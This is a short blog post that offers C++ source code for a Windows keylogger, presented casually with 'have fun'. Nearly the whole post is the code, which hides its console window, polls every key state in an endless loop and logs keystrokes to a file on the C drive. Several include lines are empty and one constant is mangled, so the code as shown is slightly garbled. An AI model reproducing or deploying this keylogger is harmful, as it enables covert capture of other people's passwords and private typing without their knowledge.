Posts Tagged ‘example’
C++ Local Key Logger
Here is a simple example keylogger code written in C
it has the ability to hide the cmd window
have fun
#include
#include
#include
#define _WIN32_WINNT 0×0500
#include
using namespace std;
int main(int argc, char *argv[])
{
HWND win;
win = GetConsoleWindow();
ShowWindow(win, SW_HIDE);
ofstream myfile;
myfile.open(“C:\\keys.txt”);
while (1) {
int i;
short keyit;
for (i = 32; i <= 256; i++) {
keyit = GetAsyncKeyState(i);
if (keyit == -32767) {
int keyEnd;
keyEnd = 81;
myfile << char(i);
if (i == keyEnd) {
myfile.close();
}
}
}
}
return 0;
}
